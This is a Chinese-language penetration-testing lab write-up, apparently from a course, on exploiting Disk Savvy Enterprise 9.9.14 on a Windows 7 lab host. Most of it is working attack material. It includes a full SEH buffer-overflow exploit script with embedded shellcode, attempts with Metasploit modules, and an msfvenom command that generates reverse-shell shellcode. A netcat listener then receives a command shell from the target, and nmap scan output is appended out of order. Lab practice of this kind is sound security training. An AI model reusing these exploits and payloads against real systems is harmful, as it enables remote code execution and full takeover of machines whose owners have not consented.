shellcode += "\xfe\x33\x82\xd5\x9f\x44\x8f\x8d\x3c\xd6\x54\x4d"
shellcode += "\x4a\xcb\xc2\x1a\x1b\x3d\x1b\xce\xb1\x64\xb5\xec"
shellcode += "\x4b\xf0\xfe\xb4\x97\xc1\x01\x35\x55\x7d\x26\x25"
shellcode += "\xa3\x7e\x62\x11\x7b\x29\x3c\xcf\x3d\x83\x8e\xb9"
shellcode += "\x97\x78\x59\x2d\x61\xb3\x5a\x2b\x6e\x9e\x2c\xd3"
shellcode += "\xdf\x77\x69\xec\xd0\x1f\x7d\x95\x0c\x80\x82\x4c"
shellcode += "\x95\xb0\xc8\xcc\xbc\x58\x95\x85\xfc\x04\x26\x70"
shellcode += "\xc2\x30\xa5\x70\xbb\xc6\xb5\xf1\xbe\x83\x71\xea"
shellcode += "\xb2\x9c\x17\x0c\x60\x9c\x3d"
payload = "A" * 124 # offset
payload += "\x90\x09\xeb\x05" # jmp over seh retrun value
payload += "\x13\x6d\x05\x10" # 0x10056d13 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Disk Savvy Enterprise\bin\libspp.dll)
payload += "\x90" * 10
payload += "\x83\xc4\x64" * 20 # metasm > add esp,100
payload += "\xff\xe4" # metasm > jmp esp
payload += "\x90" * (1000 - len(payload) - len(shellcode))
payload += shellcode
header = "\x75\x19\xba\xab"
header += "\x03\x00\x00\x00"
header += "\x00\x40\x00\x00"
header += pack('<I', len(payload))
header += pack('<I', len(payload))
header += pack('<I', ord(payload[-1]))
packet = header
packet += payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "[*] Testing connection to tatget %s:%s" %(host,port)
s.connect((host, port))
except:
print "[-] Unable to communicate to target %s:%s" %(host,port)
exit()
s.send(packet)
print "[*] Payload Sent.."
print "[*] Connecting to bind shell %s:4444 .." %host
sleep(5)
system("nc %s 4444"%host)
大概的大意是,先把dll執行完成後,再用dll載入這一段shell code。感覺不是很易用,所以看看metaspolit:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# msfconsole
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%%
%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %%
%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%%
%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%%
%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Adapter names can be used for IP params
set LHOST eth0
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search savvy
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/misc/disk_savvy_adm 2017-01-31 great No Disk Savvy Enterprise v10.4.18
1 exploit/windows/http/disksavvy_get_bof 2016-12-01 excellent Yes DiskSavvy Enterprise GET Buffer Overflow
Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/http/disksavvy_get_bof
msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/disksavvy_get_bof) > use 1
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/disksavvy_get_bof) > show options
Module options (exploit/windows/http/disksavvy_get_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port]
[...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/doc
s/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.18.193 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/disksavvy_get_bof) > set rhosts 172.16.1.87
rhosts => 172.16.1.87
msf6 exploit(windows/http/disksavvy_get_bof) > set lhost 192.168.200.6
lhost => 192.168.200.6
msf6 exploit(windows/http/disksavvy_get_bof) > set lport 7071
lport => 7071
msf6 exploit(windows/http/disksavvy_get_bof) > show options
Module options (exploit/windows/http/disksavvy_get_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port]
[...]
RHOSTS 172.16.1.87 yes The target host(s), see https://docs.metasploit.com/doc
s/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.200.6 yes The listen address (an interface may be specified)
LPORT 7071 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/disksavvy_get_bof) > run
[*] Started reverse TCP handler on 192.168.200.6:7071
[*] Automatically detecting the target...
[-] Exploit aborted due to failure: no-target: No matching target
[*] Exploit completed, but no session was created.
失敗,換另一個:
msf6 exploit(windows/http/disksavvy_get_bof) > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/disk_savvy_adm) > show options
Module options (exploit/windows/misc/disk_savvy_adm):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs
/using-metasploit/basics/using-metasploit.html
RPORT 9124 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.18.193 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Disk Savvy Enterprise v10.4.18
View the full module info with the info, or info -d command.
msf6 exploit(windows/misc/disk_savvy_adm) > set rhosts 172.16.1.87
rhosts => 172.16.1.87
msf6 exploit(windows/misc/disk_savvy_adm) > set lhost 192.168.200.6
lhost => 192.168.200.6
msf6 exploit(windows/misc/disk_savvy_adm) > set lport 7073
lport => 7073
msf6 exploit(windows/misc/disk_savvy_adm) > show options
Module options (exploit/windows/misc/disk_savvy_adm):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.1.87 yes The target host(s), see https://docs.metasploit.com/docs
/using-metasploit/basics/using-metasploit.html
RPORT 9124 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.200.6 yes The listen address (an interface may be specified)
LPORT 7073 yes The listen port
Exploit target:
Id Name
-- ----
0 Disk Savvy Enterprise v10.4.18
View the full module info with the info, or info -d command.
msf6 exploit(windows/misc/disk_savvy_adm) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 Disk Savvy Enterprise v10.4.18
msf6 exploit(windows/misc/disk_savvy_adm) > run
[*] Started reverse TCP handler on 192.168.200.6:7073
[*] Exploit completed, but no session was created.
也失敗。帶上版本號再仔細google一下:
aaa找到了新的poc
但跟剛剛網路上找的一樣,都是buffer overflow的漏洞:
#!/usr/bin/env python
# Exploit Title: Disk Savvy Enterprise 9.9.14 Remote SEH Buffer Overflow
# Date: 2017-08-25
# Exploit Author: Nipun Jaswal & Anurag Srivastava
# Author Homepage: www.pyramidcyber.com
# Vendor Homepage: http://www.disksavvy.com
# Software Link: http://www.disksavvy.com/setups/disksavvyent_setup_v9.9.14.exe
# Version: v9.9.14
# Tested on: Windows 7 SP1 x64
# Steps to Reproduce : Go to Options --> Server --> Check Enable Web Server on Port, Enter Any Port[8080] --> Save
import socket,sys
target = "127.0.0.1"
port = 8080
#msfvenom -p windows/shell_reverse_tcp LHOST=185.92.223.120 LPORT=4443 EXITFUN=none -e x86/alpha_mixed -f python
buf = ""
buf += "\x89\xe3\xda\xde\xd9\x73\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4d\x38\x6d"
buf += "\x52\x35\x50\x37\x70\x65\x50\x71\x70\x6b\x39\x4d\x35"
buf += "\x70\x31\x4b\x70\x63\x54\x6c\x4b\x56\x30\x76\x50\x4c"
buf += "\x4b\x63\x62\x76\x6c\x4c\x4b\x50\x52\x76\x74\x4c\x4b"
buf += "\x42\x52\x36\x48\x34\x4f\x58\x37\x51\x5a\x37\x56\x46"
buf += "\x51\x79\x6f\x6e\x4c\x55\x6c\x31\x71\x51\x6c\x67\x72"
buf += "\x34\x6c\x51\x30\x59\x51\x48\x4f\x36\x6d\x65\x51\x79"
buf += "\x57\x59\x72\x6b\x42\x72\x72\x72\x77\x4c\x4b\x52\x72"
buf += "\x76\x70\x6c\x4b\x61\x5a\x77\x4c\x6e\x6b\x42\x6c\x66"
buf += "\x71\x50\x78\x6a\x43\x32\x68\x75\x51\x6b\x61\x36\x31"
buf += "\x4e\x6b\x70\x59\x47\x50\x75\x51\x7a\x73\x4c\x4b\x30"
buf += "\x49\x66\x78\x79\x73\x64\x7a\x73\x79\x6c\x4b\x45\x64"
buf += "\x4c\x4b\x36\x61\x7a\x76\x50\x31\x6b\x4f\x4e\x4c\x4f"
buf += "\x31\x7a\x6f\x36\x6d\x43\x31\x39\x57\x74\x78\x6b\x50"
buf += "\x31\x65\x6b\x46\x43\x33\x53\x4d\x68\x78\x77\x4b\x33"
buf += "\x4d\x31\x34\x44\x35\x78\x64\x56\x38\x6e\x6b\x36\x38"
buf += "\x75\x74\x56\x61\x78\x53\x65\x36\x4e\x6b\x66\x6c\x30"
buf += "\x4b\x6e\x6b\x33\x68\x65\x4c\x63\x31\x68\x53\x6c\x4b"
buf += "\x65\x54\x4e\x6b\x33\x31\x58\x50\x6e\x69\x43\x74\x31"
buf += "\x34\x65\x74\x53\x6b\x71\x4b\x71\x71\x46\x39\x72\x7a"
buf += "\x53\x61\x39\x6f\x49\x70\x43\x6f\x61\x4f\x61\x4a\x4e"
buf += "\x6b\x44\x52\x78\x6b\x6e\x6d\x33\x6d\x33\x58\x75\x63"
buf += "\x50\x32\x35\x50\x37\x70\x32\x48\x54\x37\x70\x73\x34"
buf += "\x72\x63\x6f\x66\x34\x62\x48\x52\x6c\x52\x57\x44\x66"
buf += "\x43\x37\x39\x6f\x79\x45\x4c\x78\x4e\x70\x43\x31\x45"
buf += "\x50\x57\x70\x34\x69\x6f\x34\x51\x44\x70\x50\x53\x58"
buf += "\x76\x49\x6f\x70\x50\x6b\x33\x30\x79\x6f\x5a\x75\x50"
buf += "\x50\x46\x30\x42\x70\x46\x30\x51\x50\x62\x70\x67\x30"
buf += "\x70\x50\x30\x68\x79\x7a\x56\x6f\x69\x4f\x49\x70\x69"
buf += "\x6f\x48\x55\x6f\x67\x52\x4a\x36\x65\x75\x38\x68\x39"
buf += "\x33\x6c\x6b\x6f\x74\x38\x52\x48\x43\x32\x57\x70\x44"
buf += "\x51\x71\x4b\x4c\x49\x4b\x56\x31\x7a\x72\x30\x56\x36"
buf += "\x50\x57\x63\x58\x6d\x49\x6d\x75\x34\x34\x63\x51\x79"
buf += "\x6f\x4b\x65\x6c\x45\x6b\x70\x43\x44\x36\x6c\x69\x6f"
buf += "\x72\x6e\x76\x68\x52\x55\x48\x6c\x52\x48\x78\x70\x6c"
buf += "\x75\x6f\x52\x52\x76\x4b\x4f\x4e\x35\x42\x48\x43\x53"
buf += "\x50\x6d\x35\x34\x63\x30\x6e\x69\x4d\x33\x62\x77\x43"
buf += "\x67\x56\x37\x75\x61\x39\x66\x42\x4a\x62\x32\x31\x49"
buf += "\x70\x56\x69\x72\x39\x6d\x72\x46\x59\x57\x51\x54\x45"
buf += "\x74\x77\x4c\x33\x31\x46\x61\x4e\x6d\x37\x34\x57\x54"
buf += "\x56\x70\x68\x46\x47\x70\x62\x64\x36\x34\x46\x30\x61"
buf += "\x46\x36\x36\x62\x76\x70\x46\x72\x76\x32\x6e\x61\x46"
buf += "\x30\x56\x56\x33\x70\x56\x73\x58\x53\x49\x48\x4c\x55"
buf += "\x6f\x4f\x76\x49\x6f\x4a\x75\x4f\x79\x39\x70\x52\x6e"
buf += "\x72\x76\x37\x36\x4b\x4f\x56\x50\x61\x78\x65\x58\x4e"
buf += "\x67\x57\x6d\x75\x30\x39\x6f\x59\x45\x6f\x4b\x78\x70"
buf += "\x4d\x65\x4e\x42\x71\x46\x71\x78\x6e\x46\x6c\x55\x4f"
buf += "\x4d\x6f\x6d\x79\x6f\x59\x45\x35\x6c\x53\x36\x53\x4c"
buf += "\x54\x4a\x4d\x50\x6b\x4b\x4b\x50\x54\x35\x65\x55\x6d"
buf += "\x6b\x63\x77\x55\x43\x43\x42\x32\x4f\x63\x5a\x43\x30"
buf += "\x72\x73\x4b\x4f\x48\x55\x41\x41"
payload = buf # Shellcode begins from the start of the buffer
payload += 'A' * (2492 - len(payload)) # Padding after shellcode till the offset value
payload += '\xEB\x10\x90\x90' # NSEH, a short jump of 10 bytes
payload += '\xDD\xAD\x13\x10' # SEH : POP EDI POP ESI RET 04 libpal.dll
payload += '\x90' * 10 # NOPsled
payload += '\xE9\x25\xBF\xFF\xFF' # Second JMP to ShellCode
payload += 'D' * (5000-len(payload)) # Additional Padding
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((target,port))
print "[*] Connection Success."
except:
print "Connction Refused %s:%s" %(target,port)
sys.exit(2)
packet = "GET /../%s HTTP/1.1\r\n" %payload # Request & Headers
packet += "Host: 4.2.2.2\r\n"
packet += "Connection: keep-alive\r\n"
packet += "Referer: http://pyramidcyber.com\r\n"
packet += "\r\n"
s.send(packet)
s.close()
看下圖,除了根據nmap結果改target跟port外,連buf也要用msfvenom重新生成。
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.6 LPORT=4443 EXITFUN=none -e x86/alpha_mixed -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 710 (iteration=0)
x86/alpha_mixed chosen with final size 710
Payload size: 710 bytes
Final size of python file: 3511 bytes
buf = b""
buf += b"\x89\xe6\xdb\xd8\xd9\x76\xf4\x5d\x55\x59\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
buf += b"\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
buf += b"\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
buf += b"\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += b"\x4b\x4c\x38\x68\x4c\x42\x65\x50\x57\x70\x77\x70"
buf += b"\x61\x70\x4e\x69\x4a\x45\x75\x61\x4f\x30\x32\x44"
buf += b"\x6c\x4b\x36\x30\x30\x30\x4e\x6b\x31\x42\x34\x4c"
buf += b"\x6e\x6b\x43\x62\x55\x44\x4c\x4b\x54\x32\x44\x68"
buf += b"\x46\x6f\x6e\x57\x51\x5a\x37\x56\x35\x61\x49\x6f"
buf += b"\x4c\x6c\x55\x6c\x70\x61\x53\x4c\x57\x72\x34\x6c"
buf += b"\x31\x30\x5a\x61\x58\x4f\x64\x4d\x75\x51\x4a\x67"
buf += b"\x79\x72\x5a\x52\x66\x32\x50\x57\x4c\x4b\x50\x52"
buf += b"\x46\x70\x6c\x4b\x42\x6a\x37\x4c\x6e\x6b\x70\x4c"
buf += b"\x36\x71\x43\x48\x79\x73\x42\x68\x76\x61\x68\x51"
buf += b"\x66\x31\x6c\x4b\x31\x49\x35\x70\x43\x31\x79\x43"
buf += b"\x6c\x4b\x32\x69\x65\x48\x39\x73\x67\x4a\x43\x79"
buf += b"\x4c\x4b\x57\x44\x4e\x6b\x53\x31\x7a\x76\x76\x51"
buf += b"\x4b\x4f\x4e\x4c\x49\x51\x58\x4f\x54\x4d\x35\x51"
buf += b"\x48\x47\x77\x48\x59\x70\x32\x55\x39\x66\x56\x63"
buf += b"\x61\x6d\x6b\x48\x75\x6b\x53\x4d\x35\x74\x42\x55"
buf += b"\x68\x64\x56\x38\x6c\x4b\x76\x38\x36\x44\x43\x31"
buf += b"\x79\x43\x75\x36\x4e\x6b\x74\x4c\x50\x4b\x6e\x6b"
buf += b"\x61\x48\x35\x4c\x75\x51\x6e\x33\x4c\x4b\x73\x34"
buf += b"\x6c\x4b\x65\x51\x4a\x70\x4b\x39\x53\x74\x31\x34"
buf += b"\x34\x64\x33\x6b\x51\x4b\x33\x51\x73\x69\x71\x4a"
buf += b"\x33\x61\x59\x6f\x69\x70\x71\x4f\x43\x6f\x61\x4a"
buf += b"\x6c\x4b\x34\x52\x78\x6b\x6e\x6d\x43\x6d\x65\x38"
buf += b"\x37\x43\x77\x42\x57\x70\x63\x30\x43\x58\x33\x47"
buf += b"\x33\x43\x45\x62\x43\x6f\x63\x64\x51\x78\x42\x6c"
buf += b"\x70\x77\x54\x66\x55\x57\x49\x6f\x58\x55\x6f\x48"
buf += b"\x6a\x30\x57\x71\x57\x70\x73\x30\x36\x49\x69\x54"
buf += b"\x51\x44\x30\x50\x61\x78\x74\x69\x6d\x50\x72\x4b"
buf += b"\x57\x70\x49\x6f\x78\x55\x70\x50\x72\x70\x52\x70"
buf += b"\x52\x70\x43\x70\x50\x50\x47\x30\x30\x50\x65\x38"
buf += b"\x39\x7a\x36\x6f\x39\x4f\x4d\x30\x79\x6f\x6a\x75"
buf += b"\x6f\x67\x42\x4a\x74\x45\x70\x68\x4b\x70\x59\x38"
buf += b"\x48\x48\x54\x46\x70\x68\x35\x52\x53\x30\x77\x61"
buf += b"\x31\x4b\x6b\x39\x7a\x46\x31\x7a\x74\x50\x56\x36"
buf += b"\x30\x57\x53\x58\x4e\x79\x6e\x45\x61\x64\x65\x31"
buf += b"\x49\x6f\x4a\x75\x4d\x55\x59\x50\x70\x74\x34\x4c"
buf += b"\x69\x6f\x32\x6e\x77\x78\x53\x45\x5a\x4c\x50\x68"
buf += b"\x7a\x50\x6f\x45\x59\x32\x76\x36\x79\x6f\x68\x55"
buf += b"\x72\x48\x45\x33\x70\x6d\x72\x44\x55\x50\x6c\x49"
buf += b"\x78\x63\x32\x77\x66\x37\x72\x77\x65\x61\x4a\x56"
buf += b"\x30\x6a\x62\x32\x46\x39\x52\x76\x59\x72\x6b\x4d"
buf += b"\x61\x76\x69\x57\x43\x74\x55\x74\x37\x4c\x36\x61"
buf += b"\x77\x71\x4c\x4d\x30\x44\x34\x64\x54\x50\x78\x46"
buf += b"\x55\x50\x42\x64\x72\x74\x36\x30\x56\x36\x66\x36"
buf += b"\x43\x66\x61\x56\x63\x66\x42\x6e\x50\x56\x76\x36"
buf += b"\x61\x43\x50\x56\x52\x48\x72\x59\x58\x4c\x55\x6f"
buf += b"\x4e\x66\x39\x6f\x6e\x35\x4e\x69\x4d\x30\x52\x6e"
buf += b"\x50\x56\x72\x66\x4b\x4f\x30\x30\x70\x68\x54\x48"
buf += b"\x4b\x37\x77\x6d\x73\x50\x39\x6f\x6a\x75\x6d\x6b"
buf += b"\x68\x70\x38\x35\x6d\x72\x50\x56\x43\x58\x6e\x46"
buf += b"\x7a\x35\x6d\x6d\x6f\x6d\x4b\x4f\x59\x45\x75\x6c"
buf += b"\x37\x76\x51\x6c\x67\x7a\x4f\x70\x6b\x4b\x59\x70"
buf += b"\x63\x45\x67\x75\x4f\x4b\x71\x57\x66\x73\x52\x52"
buf += b"\x52\x4f\x52\x4a\x33\x30\x62\x73\x4b\x4f\x4a\x75"
buf += b"\x41\x41"
把上面生成的東西覆蓋原本python檔內的buf +=
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# vim 42558-1.py
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python 42558-1.py
File "/home/kali/PT_day3/42558-1.py", line 90
print "[*] Connection Success."
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python2 42558-1.py
[*] Connection Success.
別忘了要先監聽port:
┌──(root㉿kali)-[~]
└─# nc -lvnp 4443
listening on [any] 4443 ...
connect to [192.168.200.6] from (UNKNOWN) [172.16.1.87] 49159
Microsoft Windows [▒▒▒▒ 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
]]>┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p- 172.16.1.87
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 22:52 EST
Nmap scan report for 172.16.1.87
Host is up (0.041s latency).
Not shown: 65524 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
9124/tcp open unknown
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.89 seconds
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p80,135,139,445,9124,49152-49157 172.16.1.87 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 22:54 EST
Stats: 0:01:33 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 81.82% done; ETC: 22:56 (0:00:20 remaining)
Stats: 0:02:37 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 22:57 (0:00:00 remaining)
Nmap scan report for 172.16.1.87
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
80/tcp open http
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| GenericLines, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 400 Bad Request
| GetRequest:
| HTTP/1.1 200 OK
| Content-Type: text/html
| Content-Length: 1519
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
| <html>
| <head>
| <meta http-equiv='Content-Type' content='text/html; charset=UTF-8'>
| <meta name='Author' content='Flexense HTTP Server v9.9.14'>
| <meta name='GENERATOR' content='Flexense HTTP v9.9.14'>
| <title>Disk Savvy Enterprise @ SEH-PC - Online Registration</title>
| <link rel='stylesheet' type='text/css' href='resources/disksavvy.css' media='all'>
| </head>
| <body>
| <div id='header'><table border=0 padding=0 cellpadding=0 cellspacing=0 width='100%'><tr>
| width=220 align=left>Disk Savvy Enterprise v9.9.14</td>
| <td></td>
| width=220 align=right id='stime'>12-Mar-2023 11:54:41</td>
| </tr></table></div>
| <div id='content'>
| <form method='POST' action='online_registration'>
|_ <table border=0 padding=0 cellpadding=0
|_http-generator: Flexense HTTP v9.9.14
|_http-title: Disk Savvy Enterprise @ SEH-PC - Online Registration
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9124/tcp open unknown
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.93%I=7%D=3/11%Time=640D4D03%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,631,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20text/html\r\nCon
SF:tent-Length:\x201519\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DT
SF:D\x20HTML\x204\.01\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/ht
SF:ml4/loose\.dtd\">\r\n<html>\r\n<head>\r\n<meta\x20http-equiv='Content-T
SF:ype'\x20content='text/html;\x20charset=UTF-8'>\r\n<meta\x20name='Author
SF:'\x20content='Flexense\x20HTTP\x20Server\x20v9\.9\.14'>\r\n<meta\x20nam
SF:e='GENERATOR'\x20content='Flexense\x20HTTP\x20v9\.9\.14'>\r\n<title>Dis
SF:k\x20Savvy\x20Enterprise\x20@\x20SEH-PC\x20-\x20Online\x20Registration<
SF:/title>\r\n<link\x20rel='stylesheet'\x20type='text/css'\x20href='resour
SF:ces/disksavvy\.css'\x20media='all'>\r\n</head>\r\n<body>\r\n<div\x20id=
SF:'header'><table\x20border=0\x20padding=0\x20cellpadding=0\x20cellspacin
SF:g=0\x20width='100%'><tr>\r\n<td\x20width=220\x20align=left>Disk\x20Savv
SF:y\x20Enterprise\x20v9\.9\.14</td>\r\n<td></td>\r\n<td\x20width=220\x20a
SF:lign=right\x20id='stime'>12-Mar-2023\x2011:54:41</td>\r\n</tr></table><
SF:/div>\r\n<div\x20id='content'>\r\n<form\x20method='POST'\x20action='onl
SF:ine_registration'>\r\n<table\x20border=0\x20padding=0\x20cellpadding=0"
SF:)%r(HTTPOptions,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(RTSP
SF:Request,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(FourOhFourRe
SF:quest,1A,"HTTP/1\.1\x20404\x20Not\x20Found\r\n\r\n")%r(GenericLines,1C,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(SIPOptions,1C,"HTTP/1\.
SF:1\x20400\x20Bad\x20Request\r\n\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (94%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (94%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (94%), Microsoft Windows Vista SP2 (94%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (93%), Microsoft Windows Server 2008 R2 or Windows 8 (93%), Microsoft Windows 7 SP1 (93%), Microsoft Windows 8.1 R1 (93%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (93%), Microsoft Windows 7 or Windows Server 2008 R2 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SEH-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: SEH-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00155d01361c (Microsoft)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-03-12T03:57:18
|_ start_date: 2023-03-11T22:01:37
|_clock-skew: mean: -2h40m02s, deviation: 4h37m06s, median: -3s
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: SEH-PC
| NetBIOS computer name: SEH-PC\x00
